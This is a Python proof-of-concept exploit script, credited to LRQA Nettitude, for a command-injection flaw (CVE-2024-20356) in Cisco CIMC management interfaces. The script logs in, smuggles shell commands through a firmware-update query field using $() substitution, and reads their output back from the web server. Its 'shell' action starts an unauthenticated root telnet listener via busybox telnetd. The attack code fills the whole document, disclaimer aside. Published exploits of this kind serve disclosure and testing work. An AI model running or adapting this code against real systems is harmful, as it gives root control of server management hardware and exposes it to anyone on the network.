#!/usr/bin/python3 """ Exploit for CVE-2024-20356: Command Injection in Cisco CIMC Aaron Thacker @ LRQA Nettitude 2024 Full details can be found at https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom This proof-of-concept is for demonstration purposes and should not be used for illegal activities. LRQA Nettitude are not responsible for any damage caused by the use or misuse of this code. Usage: CVE-2024-20356.py [-h] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-c CMD] [-v] options: -h, --help show this help message and exit -t HOST, --host HOST target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337) -u USERNAME, --username USERNAME Username (default: admin) -p PASSWORD, --password PASSWORD Password (default: cisco) -a ACTION, --action ACTION Action: test, cmd, shell, dance (default: test) -c CMD, --cmd CMD OS command to run (Default: NONE) -v, --verbose Displays more information about cimc """ import Crypto.Random import Crypto.Cipher import base64 import hashlib import hmac import requests import urllib3 from Crypto.Cipher import AES import urllib.parse import re import xml.etree.ElementTree as ET import argparse import random import time # Set to "127.0.0.1:8080" to use a proxy proxy = None # derrived from /lib/thirdparty/thirdparty.js def hashFnv32(a, b): b = bytes(b, encoding='ascii') e = 40389 h = a[0:32] f = len(h)//4 for i in range (0, f): e = e ^ ord(a[i]) e = e + (e << 1) return hmac.new(bytes(str(e), encoding='ascii'), b, hashlib.sha512).hexdigest() # derrived from /lib/thirdparty/thirdparty.js def keyFnv32(a): e = 40389 h = a[0:32] f = len(h)//4 for i in range (0, f): e = e ^ ord(a[i]) e = e + (e << 1) e = str(e) return e # derrived from CryptoJS def derive_key_and_iv(secret): salt = Crypto.Random.new().read(8) secret = bytes(secret, encoding='ascii') keylen = 32 ivlen = 16 secret += salt k = hashlib.md5(secret).digest() w = k while len(w) < (keylen + ivlen): k = hashlib.md5(k + secret).digest() w += k return w[:keylen], w[keylen:keylen+ivlen], salt def pad(data): BLOCK_SIZE = 16 return data+(BLOCK_SIZE-len(data)%BLOCK_SIZE)*chr(BLOCK_SIZE-len(data)%BLOCK_SIZE) # derrived from CryptoJS def encrypt(username, password): secret = str(keyFnv32(username)) msg = password key, iv, salt = derive_key_and_iv(secret) aes = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_CBC, iv) padded_msg = bytes(pad(msg), encoding='ascii') encrypted_msg = aes.encrypt(padded_msg) return base64.b64encode(b"Salted__" + salt + encrypted_msg) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def headers(): print(""" _____ _____ _____ _____ / ____|_ _|/ ____|/ ____| | | | | | (___ | | _____ ___ __ | | | | \___ \| | / _ \ \ /\ / / '_ \ | |____ _| |_ ____) | |___| (_) \ V V /| | | | \_____|_____|_____/ \_____\___/ \_/\_/ |_| |_| """) print("~ Because every vulnerability needs a cool tool") print("~ AThacker @ LRQA Nettitude | v1.0\n") print("This proof-of-concept is for demonstration purposes and should not be used for illegal activities.\nLRQA Nettitude are not responsible for any damage caused by the use or misuse of this code.") def login(target, username, password): enc_password = encrypt(username, password) req = requests.post(f"https://{target}/data/login", headers={'Referer':f'https://{target}/login.html','Accept-Encoding': 'identity'}, proxies={"https":proxy,"http":proxy}, verify=False, data={"user":username,"password":enc_password} ) root = ET.fromstring(req.content) if root.find('authResult').text == '0': sidValue = root.find('sidValue').text adminUser = True if root.find('adminUser').text == '1' else False cookieValue = re.search('sessionCookie=([a-z0-9]{32});', req.headers['Set-Cookie']).group(1) print(f"sidValue: {sidValue[0:8]}XXXXXXXXXXXXXXXXXXXXXXXX") print(f"cookieValue: {cookieValue[0:8]}XXXXXXXXXXXXXXXXXXXXXXXX") print(f"Admin user: {adminUser}") return (True, cookieValue, sidValue, adminUser) else: return (False, None, None, None) def logout(target, sidValue): print(f"Logging out: {sidValue[0:8]}XXXXXXXXXXXXXXXXXXXXXXXX") req = requests.post(f"https://{target}/data/logout", headers={'Referer':f'https://{target}/index.html','Accept-Encoding': 'identity'}, proxies={"https":proxy,"http":proxy}, verify=False, data={"sessionID":sidValue} ) return None def query(target, cookieValue, sidValue, input_cmd): res = query_raw(target, cookieValue, sidValue, input_cmd) return ET.fromstring(res.content) def query_raw(target, cookieValue, sidValue, input_cmd): cmd = urllib.parse.quote(input_cmd) res = requests.post(f"https://{target}/data", headers={'Referer':f'https://{target}/index.html','Cookie':f'sessionCookie={cookieValue}','Cspg_var':hashFnv32(sidValue ,input_cmd),'Accept-Encoding': 'identity'}, proxies={"https":proxy,"http":proxy}, verify=False, data={"sessionID":sidValue,"queryString":cmd} ) return res def get_host_info(target, lreq): resp = query(target, lreq[1], lreq[2], 'get=sessionData') if resp.find("status").text == "ok": sessionData = resp.find("sessionData") print(f'cimcIp: {resp.find("cimcIp").text}') print(f'lzt: {sessionData.find("lzt").text}') print(f'sysPlatformId: {sessionData.find("sysPlatformId").text}') print(f'sessionId: {sessionData.find("sessionId").text}') print(f'canClearLogs: {sessionData.find("canClearLogs").text}') print(f'canAccessKvm: {sessionData.find("canAccessKvm").text}') print(f'canExecServerControl: {sessionData.find("canExecServerControl").text}') print(f'canConfig: {sessionData.find("canConfig").text}') print(f'intersightMode: {sessionData.find("intersightMode").text}') return resp else: print(resp.find("status").text) raise Exception("sessionData returned weird results") # v0.2 exec code def exec(target, lreq, command): out_file = '/usr/local/www/in.html' tmp_cmd_file = '/tmp/cmd.sh' stager_cmd = f'sh < {tmp_cmd_file} > {out_file} 2>&1 || true' stager_cmd_file = '/tmp/stager.sh' MAX_COMMAND_LENGTH = 100 command_split = [command[i:i+MAX_COMMAND_LENGTH] for i in range(0, len(command), MAX_COMMAND_LENGTH)] query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$( >{tmp_cmd_file})")') for i_cmd in command_split: encoded_command = "\\\\x"+"\\\\x".join("{:02x}".format(ord(s)) for s in i_cmd) query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(echo -n -e \"{encoded_command}\" >> {tmp_cmd_file})")') encoded_command = "\\\\x"+"\\\\x".join("{:02x}".format(ord(s)) for s in stager_cmd) query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(echo -n -e \"{encoded_command}\" > {stager_cmd_file})")') query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(sh {stager_cmd_file})")') web_file = out_file.split('/')[-1:][0] res = requests.get(f"https://{target}/{web_file}", headers={'Referer':f'https://{target}/index.html','Accept-Encoding': 'identity'}, proxies={"https":proxy,"http":proxy}, verify=False, stream=True ) if res.status_code == 200: query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(rm -f {tmp_cmd_file} {stager_cmd_file} {out_file})")') out = res.raw.read() return str(out, encoding='utf-8') else: return None if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-t","--host", type=str, help="Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)", required=True) parser.add_argument("-u","--username", type=str, default="admin", help="Username (default: admin)", required=True) parser.add_argument("-p","--password", type=str, default="cisco", help="Password (default: cisco)", required=True) parser.add_argument("-a","--action", type=str, default="test", help="Action: test, cmd, shell, dance💡 (default: test)") parser.add_argument("-c","--cmd", type=str, default="", help="OS command to run (Default: NONE)") parser.add_argument("-v","--verbose", default=False, action='store_true', help="Displays more information about cimc") args = parser.parse_args() if not args.cmd == "": args.action = "cmd" headers() print("") print(f"Attempting login as: {args.username}\n") lreq = login(args.host, args.username, args.password) if lreq[0]: print("Login: successful\n") if args.verbose: print("Gathering CIMC info:") get_host_info(args.host,lreq) print("") if args.action == "test": print("Action: test") test_num = random.randint(1111,9999) test_results = exec(args.host, lreq, f'echo -n {str(test_num)}') if test_results: if (str(test_num) in str(test_results)): print(f"🟩 Success! {test_num} given, {str(test_results)} returned") else: print("🟥 Could not exploit the vulnerability! Response file exists but output does not match") else: print("🟥 Could not exploit the vulnerability! Could not see output on web server") elif args.action == "cmd": print(f"Action: cmd") print(f"CIMC:/$ {args.cmd}") out = exec(args.host, lreq, args.cmd) if out: print(out) else: print("Something went wrong") elif args.action == "shell": print(f"Action: shell") print("Warning: This will open up port 23 on the Cisco CIMC interface connected to the network.\nThe shell will provide root access with NO authentication.") c = input("Type 'y' to continue: ") if c.lower() == "y" or c.lower() == "yes": print(f"CIMC:/$ busybox telnetd -l /bin/sh -p 23\n") exec(args.host, lreq, "busybox telnetd -l /bin/sh -p 23") print(f"Please run: telnet {args.host}") else: print("Confirmation not provided") elif args.action == "dance": exec(args.host, lreq, "sh -c 'for i in 1 2 3 4 5 6 7 8 9 10; do /etc/plumas1/etc/scripts/LED.sh ON && sleep 0.1 && /etc/plumas1/etc/scripts/LED.sh OFF && sleep 0.1; done'") # only works with exec v0.2 print("\\^o^/", end="\r") for i in range(0, 8): print("\\^o^/", end="\r") time.sleep(0.5) print("/^o^\\", end="\r") time.sleep(0.5) print("/^o^\\") else: print("Action: unknown") logout(args.host, lreq[2]) else: print("Login: unsuccessful")